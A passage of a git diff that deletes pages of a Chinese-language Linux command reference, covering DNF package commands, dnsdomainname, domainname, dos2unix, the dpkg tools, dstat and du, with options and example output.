dnf search nano
-
-

查找某一文件的提供者

-

用处:当你想要查看是哪个软件包提供了系统中的某一文件时,你可以使用这条命令。(在本例中,我们将查找”/bin/bash”这个文件的提供者)

-
dnf provides /bin/bash
-
-

查看软件包详情

-

用处:当你想在安装某一个软件包之前查看它的详细信息时,这条命令可以帮到你。(在本例中,我们将查看”nano”这一软件包的详细信息)

-
dnf info nano
-
-

安装软件包

-

用处:使用该命令,系统将会自动安装对应的软件及其所需的所有依赖(在本例中,我们将用该命令安装nano软件)

-
dnf install nano
-
-

升级软件包

-

用处:该命令用于升级制定软件包(在本例中,我们将用命令升级”systemd”这一软件包)

-
dnf update systemd
-
-

检查系统软件包的更新

-

用处:该命令用于检查系统中所有软件包的更新

-
dnf check-update
-
-

升级所有系统软件包

-

用处:该命令用于升级系统中所有有可用升级的软件包

-
dnf update 或 dnf upgrade
-
-

删除软件包

-

用处:删除系统中指定的软件包(在本例中我们将使用命令删除”nano”这一软件包)

-
dnf remove nano 或 dnf erase nano
-
-

删除无用孤立的软件包

-

用处:当没有软件再依赖它们时,某一些用于解决特定软件依赖的软件包将会变得没有存在的意义,该命令就是用来自动移除这些没用的孤立软件包。

-
dnf autoremove
-
-

删除缓存的无用软件包

-

用处:在使用 DNF 的过程中,会因为各种原因在系统中残留各种过时的文件和未完成的编译工程。我们可以使用该命令来删除这些没用的垃圾文件。

-
dnf clean all
-
-

获取有关某条命令的使用帮助

-

用处:该命令用于获取有关某条命令的使用帮助(包括可用于该命令的参数和该命令的用途说明)(本例中我们将使用命令获取有关命令”clean”的使用帮助)

-
dnf help clean
-
-

查看所有的 DNF 命令及其用途

-

用处:该命令用于列出所有的 DNF 命令及其用途

-
dnf help
-
-

查看 DNF 命令的执行历史

-

用处:您可以使用该命令来查看您系统上 DNF 命令的执行历史。通过这个手段您可以知道在自您使用 DNF 开始有什么软件被安装和卸载。

-
dnf history
-
-

查看所有的软件包组

-

用处:该命令用于列出所有的软件包组

-
dnf grouplist
-
-

安装一个软件包组

-

用处:该命令用于安装一个软件包组(本例中,我们将用命令安装”Educational Software”这个软件包组)

-
dnf groupinstall ‘Educational Software’
-
-

升级一个软件包组中的软件包

-

用处:该命令用于升级一个软件包组中的软件包(本例中,我们将用命令升级”Educational Software”这个软件包组中的软件)

-
dnf groupupdate ‘Educational Software’
-
-

删除一个软件包组

-

用处:该命令用于删除一个软件包组(本例中,我们将用命令删除”Educational Software”这个软件包组)

-
dnf groupremove ‘Educational Software’
-
-

从特定的软件包库安装特定的软件

-

用处:该命令用于从特定的软件包库安装特定的软件(本例中我们将使用命令从软件包库 epel 中安装 phpmyadmin 软件包)

-
dnf –enablerepo=epel install phpmyadmin
-
-

更新软件包到最新的稳定发行版

-

用处:该命令可以通过所有可用的软件源将已经安装的所有软件包更新到最新的稳定发行版

-
dnf distro-sync
-
-

重新安装特定软件包

-

用处:该命令用于重新安装特定软件包(本例中,我们将使用命令重新安装”nano”这个软件包)

-
dnf reinstall nano
-
-

回滚某个特定软件的版本

-

用处:该命令用于降低特定软件包的版本(如果可能的话)(本例中,我们将使用命令降低”acpid”这个软件包的版本)

-
dnf downgrade acpid
-
-

样例输出:

-
Using metadata from Wed May 20 12:44:59 2015
-No match for available package: acpid-2.0.19-5.el7.x86_64
-Error: Nothing to do.
-
-

原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报。

-

总结

-

DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成更多的操作。但在我看来,正因如此,所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下:

-
    -
  1. 在 DNF 中没有 –skip-broken 命令,并且没有替代命令供选择。
  2. -
  3. 在 DNF 中没有判断哪个包提供了指定依赖的 resolvedep 命令。
  4. -
  5. 在 DNF 中没有用来列出某个软件依赖包的 deplist 命令。
  6. -
  7. 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。
  8. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dnsdomainname.html b/linux-command.docset/Contents/Resources/Documents/c/dnsdomainname.html deleted file mode 100644 index 8fcc626e26..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dnsdomainname.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - dnsdomainname 命令,Linux dnsdomainname 命令详解:定义DNS系统中FQDN名称的域名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dnsdomainname

-

定义DNS系统中FQDN名称的域名

-

补充说明

-

dnsdomainname命令 用于定义DNS系统中FQDN名称中的域名。

-

语法

-
dnsdomainname(选项)
-
-

选项

-
-v:详细信息模式,输出指令执行的详细信息。
-
-

实例

-
[root@AY1307311912260196fcZ ~]# dnsdomainname -v
-gethostname()=`AY1307311912260196fcZ'
-Resolving `AY1307311912260196fcZ' ...
-Result: h_name=`AY1307311912260196fcZ'
-Result: h_addr_list=`10.160.7.81'
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/domainname.html b/linux-command.docset/Contents/Resources/Documents/c/domainname.html deleted file mode 100644 index 1e9f68f17a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/domainname.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - domainname 命令,Linux domainname 命令详解:显示和设置系统的NIS域名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

domainname

-

显示和设置系统的NIS域名

-

补充说明

-

domainname命令 用于显示和设置系统的NIS域名。

-

语法

-
domainname(选项)(参数)
-
-

选项

-
-v:详细信息模式;
--F:指定读取域名信息的文件。
-
-

参数

-

NIS域名:指定要设置的NIS域名。

-

实例

-
[root@AY1307311912260196fcZ ~]# domainname -v
-getdomainname()=`(none)'
-(none)
- [root@AY1307311912260196fcZ ~]# domainname
-www.jsdig.com
-
-[root@AY1307311912260196fcZ ~]# domainname -v
-getdomainname()=`www.jsdig.com'
-www.jsdig.com
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dos2unix.html b/linux-command.docset/Contents/Resources/Documents/c/dos2unix.html deleted file mode 100644 index 5101a6edf0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dos2unix.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - dos2unix 命令,Linux dos2unix 命令详解:将DOS格式文本文件转换成Unix格式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dos2unix

-

将DOS格式文本文件转换成Unix格式

-

补充说明

-

dos2unix命令 用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以\r\n作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示^M,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。

-

语法

-
dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...]
-
-

选项

-
-k:保持输出文件的日期不变
--q:安静模式,不提示任何警告信息。
--V:查看版本
--c:转换模式,模式有:ASCII, 7bit, ISO, Mac, 默认是:ASCII。
--o:写入到源文件
--n:写入到新文件
-
-

参数

-

参数:需要转换到文件。

-

实例

-

最简单的用法就是dos2unix直接跟上文件名:

-
dos2unix file
-
-

如果一次转换多个文件,把这些文件名直接跟在dos2unix之后。(注:也可以加上-o参数,也可以不加,效果一样)

-
dos2unix file1 file2 file3
-dos2unix -o file1 file2 file3
-
-

上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用-n参数。

-
dos2unix oldfile newfile
-
-

如果要保持文件时间戳不变,加上-k参数。所以上面几条命令都是可以加上-k参数来保持文件时间戳的。

-
dos2unix -k file
-dos2unix -k file1 file2 file3
-dos2unix -k -o file1 file2 file3
-dos2unix -k -n oldfile newfile
-
-

转换当前目录下所有文件

-
find -type f | xargs dos2unix
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-deb.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-deb.html deleted file mode 100644 index 70bd7690d5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-deb.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - dpkg-deb 命令,Linux dpkg-deb 命令详解:Debian Linux下的软件包管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-deb

-

Debian Linux下的软件包管理工具

-

补充说明

-

dpkg-deb命令 是Debian Linux下的软件包管理工具,它可以对软件包执行打包和解包操作以及提供软件包信息。

-

语法

-
dpkg-deb(选项)(参数)
-
-

选项

-
-c:显示软件包中的文件列表;
--e:将主控信息解压;
--f:把字段内容打印到标准输出;
--x:将软件包中的文件释放到指定目录下;
--X:将软件包中的文件释放到指定目录下,并显示释放文件的详细过程;
--w:显示软件包的信息;
--l:显示软件包的详细信息;
--R:提取控制信息和存档的清单文件;
--b:创建debian软件包。
-
-

参数

-

文件:指定要操作的“.deb”软件包的全名或软件名。

-

实例

-

解压程序文件:

-
dpkg-deb -x drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom
-
-

解压控制文件:

-
dpkg-deb -e drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom/DEBIAN
-
-

打包生成deb文件:

-
dpkg-deb -b drcom drcom_1.4.8.2_i386.deb
-
-

查询deb包中的文件内容:

-
dpkg-deb -c demo.deb
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-divert.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-divert.html deleted file mode 100644 index 70ff7a4b51..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-divert.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - dpkg-divert 命令,Linux dpkg-divert 命令详解:Debian Linux中创建并管理一个转向列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-divert

-

Debian Linux中创建并管理一个转向列表

-

补充说明

-

dpkg-divert命令 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具。

-

语法

-
dpkg-divert(选项)(参数)
-
-

选项

-
--add:添加一个转移文件;
---remove:删除一个转移文件;
---list:列出匹配的转移;
---truename:对应转移文件真实文件名;
---quidet:安静模式。
-
-

参数

-

文件:指定转移文件名。

-

实例

-

指定软件包wibble安装时,写入/usr/bin/example.foo,而不是/usr/bin/example

-
dpkg-divert --package wibble --divert /usr/bin/example.foo --rename /usr/bin/example
-
-

指定软件包wibble安装时,删除对/usr/bin/example的转移修改:

-
dpkg-divert --package wibble --rename --remove /usr/bin/example
-
-

删除对/usr/bin/example的转移修改:

-
dpkg-divert --rename --remove /usr/bin/example
-
-

添加一个软件包安装时,写入/usr/bin/example.foo,而不是/usr/bin/example的修改:

-
dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-preconfigure.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-preconfigure.html deleted file mode 100644 index 84d90c4268..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-preconfigure.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - dpkg-preconfigure 命令,Linux dpkg-preconfigure 命令详解:Debian Linux中软件包安装之前询问问题 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-preconfigure

-

Debian Linux中软件包安装之前询问问题

-

补充说明

-

dpkg-preconfigure命令 用于在Debian Linux中软件包安装之前询问问题。

-

语法

-
dpkg-preconfigure(选项)(参数)
-
-

选项

-
-f:选择使用的前端;
--p:感兴趣的最低的优先级问题;
---apt:在apt模式下运行。
-
-

参数

-

软件包:指定“.deb”软件包。

-

实例

-

导入debconf模板:

-
dpkg-preconfigure /var/cache/apt/archives/mysql-server-5.5*.deb
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-query.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-query.html deleted file mode 100644 index a1297f1d57..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-query.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - dpkg-query 命令,Linux dpkg-query 命令详解:Debian Linux中软件包的查询工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-query

-

Debian Linux中软件包的查询工具

-

补充说明

-

dpkg-query命令 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息。

-

语法

-
dpkg-query(选项)(参数)
-
-

选项

-
-l:列出符合匹配模式的软件包;
--s:查询软件包的状态信息;
--L:显示软件包所安装的文件列表;
--S:从安装的软件包中查询文件;
--w:显示软件包信息;
--c:显示软件包的控制文件路径;
--p:显示软件包的细节。
-
-

参数

-

软件包名称:指定需要查询的软件包。

-

实例

-

查找文件file1在哪个包里安装:

-
dpkg-query -S file1
-
-

列出ubuntu下所安装软件列表:

-
dpkg-query -W --showformat='${Package} ${Version}\n' > filename
-
-

查看软件包详细信息:

-
dpkg-query -s capistrano
-
-

查看软件包安装时安装到系统的文件列表:

-
dpkg-query -L capistrano
-
-

列出所有安装的包:

-
dpkg-query -l
-
-

查看软件包的确切状态(是否安装)以及版本号:

-
dpkg-query -W -f='${Status} ${Version}\n' apache-perl
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-reconfigure.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-reconfigure.html deleted file mode 100644 index 65575c9a13..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-reconfigure.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - dpkg-reconfigure 命令,Linux dpkg-reconfigure 命令详解:Debian Linux中重新配制一个已经安装的软件包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-reconfigure

-

Debian Linux中重新配制一个已经安装的软件包

-

补充说明

-

dpkg-reconfigure命令 是Debian Linux中重新配置已经安装过的软件包,可以将一个或者多个已安装的软件包传递给此指令,它将询问软件初次安装后的配置问题。

-

当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置。

-

语法

-
dpkg-reconfigure(选项)(参数)
-
-

选项

-
-a:重新配置所有的软件包;
--u或--unseen-only:仅显示未提过的问题;
---default-priority:使用默认优先级,而非“低”级;
---force:强制执行操作,需谨慎使用此选项;
---no-reload:不要轻易的重装模板(使用时请慎重考虑);
--f或--frontend:指定 debconf 前端界面;
--p或--priority:指定要显示的问题的最优先级;
---terse:开启简要模式。
-
-

参数

-

软件包名:需要重新配置的已安装的软件包。

-

实例

-

用于配置语言:

-
sudo dpkg-reconfigure locales
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-split.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-split.html deleted file mode 100644 index a89cad7460..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-split.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - dpkg-split 命令,Linux dpkg-split 命令详解:Debian Linux中将大软件包分割成小包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-split

-

Debian Linux中将大软件包分割成小包

-

补充说明

-

dpkg-split命令 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并。

-

语法

-
dpkg-split(选项)(参数)
-
-

选项

-
-S:设置分割后的每个小文件最大尺寸(以字节为单位);
--s:分割软件包;
--j<分块文件><分块文件>:把各个分块合并到一起;
--I<分块文件>:显示分块文件的相关信息;
--l:列出不匹配的部分;
--dscard<文件名>:忽略不匹配的部分。
-
-

参数

-

软件包:指定需要分割的“.deb”软件包。

-

实例

-

把foo.deb分割出N个大小为460KB的文件:

-
dpkg-split -s foo.deb
-
-

合并分割文件:

-
dpkg-split -j "foo*"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-statoverride.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-statoverride.html deleted file mode 100644 index 061efd4381..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-statoverride.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - dpkg-statoverride 命令,Linux dpkg-statoverride 命令详解:Debian Linux中覆盖文件的所有权和模式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-statoverride

-

Debian Linux中覆盖文件的所有权和模式

-

补充说明

-

dpkg-statoverride命令 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效。

-

语法

-
dpkg-statoverride(选项)
-
-

选项

-
-add:为文件添加一个改写;
---remove:为文件删除一个改写;
---list:显示所有改写列表;
---update:如果文件存在,则立刻执行改写操作。
-
-

实例

-

修改文件夹的权限属性:

-
sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
-
-

强制修改文件夹的权限属性:

-
sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
-
-

将文件从数据库中删除:

-
sudo dpkg-statoverride --remove /usr/bin/wall
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg-trigger.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg-trigger.html deleted file mode 100644 index 3f101a5e88..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg-trigger.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - dpkg-trigger 命令,Linux dpkg-trigger 命令详解:Debian Linux下的软件包触发器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg-trigger

-

Debian Linux下的软件包触发器

-

补充说明

-

dpkg-trigger命令 是Debian Linux下的软件包触发器。

-

语法

-
dpkg-trigger(选项)(参数)
-
-

选项

-
--check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。
---help:显示帮助信息;
---admindir=<目录>:设置dpkg数据库所在的目录;
---no-act:仅用于测试,不执行任何操作;
---by-package=<软件包>:覆盖触发器等待者。
-
-

参数

-

触发器名:指定触发器名称。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dpkg.html b/linux-command.docset/Contents/Resources/Documents/c/dpkg.html deleted file mode 100644 index 5b9f5be8b4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dpkg.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - dpkg 命令,Linux dpkg 命令详解:Debian Linux系统上安装、创建和管理软件包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dpkg

-

Debian Linux系统上安装、创建和管理软件包

-

补充说明

-

dpkg命令 是Debian Linux系统用来安装、创建和管理软件包的实用工具。

-

语法

-
dpkg(选项)(参数)
-
-

选项

-
-i:安装软件包;
--r:删除软件包;
--P:删除软件包的同时删除其配置文件;
--L:显示于软件包关联的文件;
--l:显示已安装软件包列表;
---unpack:解开软件包;
--c:显示软件包内文件列表;
---confiugre:配置软件包。
-
-

参数

-

Deb软件包:指定要操作的.deb软件包。

-

实例

-
dpkg -i package.deb     # 安装包
-dpkg -r package         # 删除包
-dpkg -P package         # 删除包(包括配置文件)
-dpkg -L package         # 列出与该包关联的文件
-dpkg -l package         # 显示该包的版本
-dpkg --unpack package.deb  # 解开deb包的内容
-dpkg -S keyword            # 搜索所属的包内容
-dpkg -l                    # 列出当前已安装的包
-dpkg -c package.deb        # 列出deb包的内容
-dpkg --configure package   # 配置包
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dris.html b/linux-command.docset/Contents/Resources/Documents/c/dris.html deleted file mode 100644 index 27ae76ccce..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dris.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - dris 命令,Linux dris 命令详解:显示和清空目录堆栈中的内容 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dris

-

显示和清空目录堆栈中的内容

-

补充说明

-

dris命令 用于显示和清空目录堆栈中的内容。

-

语法

-
dris(选项)
-
-

选项

-
+n:显示从左边算起第n笔的目录;
--n:显示从右边算起第n笔的目录;
--l:显示目录完整的记录。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dstat.html b/linux-command.docset/Contents/Resources/Documents/c/dstat.html deleted file mode 100644 index 8ef029e4ed..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dstat.html +++ /dev/null @@ -1,161 +0,0 @@ - - - - - - - - - - - dstat 命令,Linux dstat 命令详解:通用的系统资源统计工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dstat

-

通用的系统资源统计工具

-

补充说明

-

dstat命令 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入dstat 3即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如dstat -c即显示CPU的使用情况。

-

下载安装

-

方法一

-
yum install -y dstat
-
-

方法二

-

官网下载地址:http://dag.wieers.com/rpm/packages/dstat

-
wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm
-rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm
-
-

使用说明

-

安装完后就可以使用了,dstat非常强大,可以实时的监控cpu、磁盘、网络、IO、内存等使用情况。

-

直接使用dstat,默认使用的是-cdngy参数,分别显示cpu、disk、net、page、system信息,默认是1s显示一条信息。可以在最后指定显示一条信息的时间间隔,如dstat 5是没5s显示一条,dstat 5 10表示没5s显示一条,一共显示10条。

-
[root@iZ23uulau1tZ ~]# dstat
-----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
-usr sys idl wai hiq siq| read  writ| recv  send|  in   out | int   csw
-  0   0  99   0   0   0|7706B  164k|   0     0 |   0     0 | 189   225
-  0   0 100   0   0   0|   0     0 |4436B  826B|   0     0 | 195   248
-  1   0  99   0   0   0|   0     0 |4744B  346B|   0     0 | 203   242
-  0   0 100   0   0   0|   0     0 |5080B  346B|   0     0 | 206   242
-  0   1  99   0   0   0|   0     0 |5458B  444B|   0     0 | 214   244
-  1   0  99   0   0   0|   0     0 |5080B  346B|   0     0 | 208   242
-
-

下面对显示出来的部分信息作一些说明:

-
    -
  1. cpu:hiq、siq分别为硬中断和软中断次数。
  2. -
  3. system:int、csw分别为系统的中断次数(interrupt)和上下文切换(context switch)。
  4. -
-

其他的都很好理解。

-

语法

-
dstat [-afv] [options..] [delay [count]]
-
-

常用选项

-
-c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息。
--C:当有多个CPU时候,此参数可按需分别显示cpu状态,例:-C 0,1 是显示cpu0和cpu1的信息。
--d:显示磁盘读写数据大小。
--D hda,total:include hda and total。
--n:显示网络状态。
--N eth1,total:有多块网卡时,指定要显示的网卡。
--l:显示系统负载情况。
--m:显示内存使用情况。
--g:显示页面使用情况。
--p:显示进程状态。
--s:显示交换分区使用情况。
--S:类似D/N。
--r:I/O请求情况。
--y:系统状态。
---ipc:显示ipc消息队列,信号等信息。
---socket:用来显示tcp udp端口状态。
--a:此为默认选项,等同于-cdngy。
--v:等同于 -pmgdsc -D total。
---output 文件:此选项也比较有用,可以把状态信息以csv的格式重定向到指定的文件中,以便日后查看。例:dstat --output /root/dstat.csv & 此时让程序默默的在后台运行并把结果输出到/root/dstat.csv文件中。
-
-

当然dstat还有很多更高级的用法,常用的基本这些选项,更高级的用法可以结合man文档。

-

实例

-

如想监控swap,process,sockets,filesystem并显示监控的时间:

-
[root@iZ23uulau1tZ ~]# dstat -tsp --socket --fs
-----system---- ----swap--- ---procs--- ------sockets------ --filesystem-
-  date/time   | used  free|run blk new|tot tcp udp raw frg|files  inodes
-26-07 09:23:48|   0     0 |  0   0 0.0|104   8   5   0   0|  704   6488
-26-07 09:23:49|   0     0 |  0   0   0|104   8   5   0   0|  704   6488
-26-07 09:23:50|   0     0 |  0   0   0|104   8   5   0   0|  704   6489
-26-07 09:23:51|   0     0 |  0   0   0|104   8   5   0   0|  704   6489
-26-07 09:23:52|   0     0 |  0   0   0|104   8   5   0   0|  704   6489
-26-07 09:23:53|   0     0 |  0   0   0|104   8   5   0   0|  704   6489
-
-

若要将结果输出到文件可以加--output filename

-
[root@iZ23uulau1tZ ~]# dstat -tsp --socket --fs --output /tmp/ds.csv
-----system---- ----swap--- ---procs--- ------sockets------ --filesystem-
-  date/time   | used  free|run blk new|tot tcp udp raw frg|files  inodes
-26-07 09:25:31|   0     0 |  0   0 0.0|104   8   5   0   0|  736   6493
-26-07 09:25:32|   0     0 |  0   0   0|104   8   5   0   0|  736   6493
-26-07 09:25:33|   0     0 |  0   0   0|104   8   5   0   0|  736   6493
-26-07 09:25:34|   0     0 |  0   0   0|104   8   5   0   0|  736   6493
-26-07 09:25:35|   0     0 |  0   0   0|104   8   5   0   0|  736   6494
-26-07 09:25:36|   0     0 |  0   0   0|104   8   5   0   0|  736   6494
-
-

这样生成的csv文件可以用excel打开,然后生成图表。

-

通过dstat --list可以查看dstat能使用的所有参数,其中上面internal是dstat本身自带的一些监控参数,下面/usr/share/dstat中是dstat的插件,这些插件可以扩展dstat的功能,如可以监控电源(battery)、mysql等。

-

下面这些插件并不是都可以直接使用的,有的还依赖其他包,如想监控mysql,必须要装python连接mysql的一些包。

-
[root@iZ23uulau1tZ ~]# dstat --list
-internal:
-        aio, cpu, cpu24, disk, disk24, disk24old, epoch, fs, int, int24, io, ipc, load, lock, mem, net, page, page24, proc, raw, socket, swap, swapold, sys, tcp, time, udp, unix, vm
-/usr/share/dstat:
-        battery, battery-remain, cpufreq, dbus, disk-util, fan, freespace, gpfs, gpfs-ops, helloworld, innodb-buffer, innodb-io, innodb-ops, lustre, memcache-hits, mysql-io, mysql-keys, mysql5-cmds, mysql5-conn, mysql5-io, mysql5-keys,
-        net-packets, nfs3, nfs3-ops, nfsd3, nfsd3-ops, ntp, postfix, power, proc-count, rpc, rpcd, sendmail, snooze, thermal, top-bio, top-cpu, top-cputime, top-cputime-avg, top-io, top-latency, top-latency-avg, top-mem, top-oom, utmp,
-        vm-memctl, vmk-hba, vmk-int, vmk-nic, vz-cpu, vz-io, vz-ubc, wifi
-
-

dstat命令的基本用法就说到这里,更多用法有待摸索,如果您需要补充内容请给我们发邮件,谢谢!

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/du.html b/linux-command.docset/Contents/Resources/Documents/c/du.html deleted file mode 100644 index e585698477..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/du.html +++ /dev/null @@ -1,143 +0,0 @@ - - - - - - - - - - - du 命令,Linux du 命令详解:显示每个文件和目录的磁盘使用空间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

du

-

显示每个文件和目录的磁盘使用空间

-

补充说明

-

du命令 也是查看使用空间的,但是与df命令不同的是Linux du命令是对文件和目录磁盘使用的空间的查看,还是和df命令有一些区别的。

-

语法

-
du [选项][文件]
-
-

选项

-
-a, --all                              显示目录中个别文件的大小。
--B, --block-size=大小                  使用指定字节数的块
--b, --bytes                            显示目录或文件大小时,以byte为单位。
--c, --total                            除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
--D, --dereference-args                 显示指定符号链接的源文件大小。
--H, --si                               与-h参数相同,但是K,M,G是以1000为换算单位。
--h, --human-readable                   以K,M,G为单位,提高信息的可读性。
--k, --kilobytes                        以KB(1024bytes)为单位输出。
--l, --count-links                      重复计算硬件链接的文件。
--m, --megabytes                        以MB为单位输出。
--L<符号链接>, --dereference<符号链接>  显示选项中所指定符号链接的源文件大小。
--P, --no-dereference                   不跟随任何符号链接(默认)
--0, --null                             将每个空行视作0 字节而非换行符
--S, --separate-dirs                    显示个别目录的大小时,并不含其子目录的大小。
--s, --summarize                        仅显示总计,只列出最后加总的值。
